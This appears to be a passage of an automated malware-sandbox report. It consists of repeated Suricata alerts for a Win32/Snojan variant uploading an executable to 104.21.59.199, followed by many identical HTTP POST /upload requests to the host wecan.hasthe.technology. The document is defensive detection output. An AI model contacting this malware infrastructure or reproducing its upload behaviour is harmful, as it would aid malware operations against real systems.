Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49757 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49763 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49758 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49774 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49761 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49767 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49762 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49769 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49766 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49752 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50343 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49773 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50341 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50346 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49764 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49745 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50348 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50347 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49776 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49772 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49765 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49777 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50351 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49754 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50337 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50345 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50338 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50369 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50349 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50380 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50339 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50394 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49760 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50357 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50406 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50400 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50363 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50342 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49768 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50415 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50431 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50436 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50441 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50420 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50453 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50340 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:49775 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50447 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50461 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50388 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50467 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50334 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50472 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50487 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50511 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50505 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50517 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50534 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50477 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50344 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50528 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50540 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50546 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50552 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50374 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50495 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50563 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50482 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50569 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50575 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50597 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50587 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50604 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50425 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50610 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50616 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50629 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50581 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50622 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50664 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50651 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50668 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50667 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50645 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50635 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50675 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50674 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50671 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50679 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50670 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50658 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50673 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50672 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50677 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50678 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50669 -> 104.21.59.199:80
Source: Network traffic	Suricata IDS: 2839369 - Severity 1 - ETPRO MALWARE Win32/Snojan Variant Uploading EXE : 192.168.2.4:50676 -> 104.21.59.199:80

Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------4e7e7b554839d13b
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------142ce2cdffdf34b0
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------d48a53f32ef5d37f
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------4718040dbafb764f
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------af56a742c571d9e0
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------bcc4ac1b0bd7fb55
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------6ae216d247ad7eeb
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e130ab798e73e0f4
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------532e5ab0b1a980a1
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e05c97539ecf59ff
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------743a0c72bf65e03a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------a648496c58ebcb01
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9a061703ece1419c
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------def472c998c78c1a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------5092572f761dc69a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------f660ad1ffa63ec9d
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e3deb8ed571961ed
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------188c36fed9bfd46b
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------5feadd704bd55df3
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------317846ba52db1f0e
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------90b615ecd0519329
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------ed24a01c41b78c95
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------02423f29208d8a6a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------b790d8cd4253e432
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------008ec9c9388986e5
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------bcbc777eb0afa494
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------979afb58d44533df
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e8a8d9d8a8cb5e05
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------936634186fc1722e
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e7548d2706a79244
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------7ff2c58a46fd8171
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------24c085c66643b620
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------a93ea5bc55f98110
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------ccec6148239fb0d9
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------1b4a0b5658b504f7
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------cbd89f6b5abbf536
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------a216be62cb313a11
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------cd847dbde7971065
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------c9a2a9dee96dd686
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------3df0e20c66334a97
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------ddeefa03af69d1b5
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------491c7f8f328fb558
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------eafad353d9259ff0
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------db0822d568abc3af
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------bcc66e65e2a16dfa
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9fb4d071e48747f9
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------df52247007dd9842
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------0320226342237386
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9e9eb89944d959dc
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------314c1045dd7f33f0
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------06aae9fd55956f43
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------16380e3ad29b0a3f
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e3761a7cb61128d0
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------5de42e96fd7737be
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------c102964ba24d28f9
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------7450b24dfa13dc9b
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------eb4ec8381649ca4b
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------857c341d246f6442
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------6e5a66bcce05e925
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------7d685a7b988b5b76
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------162665c345818d3a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------0814bc3f32678c34
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------6eb2393ab8bdaec4
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9180640e8e03fb47
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------c3feb45c23b91389
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------45ac1e8b075f23ab
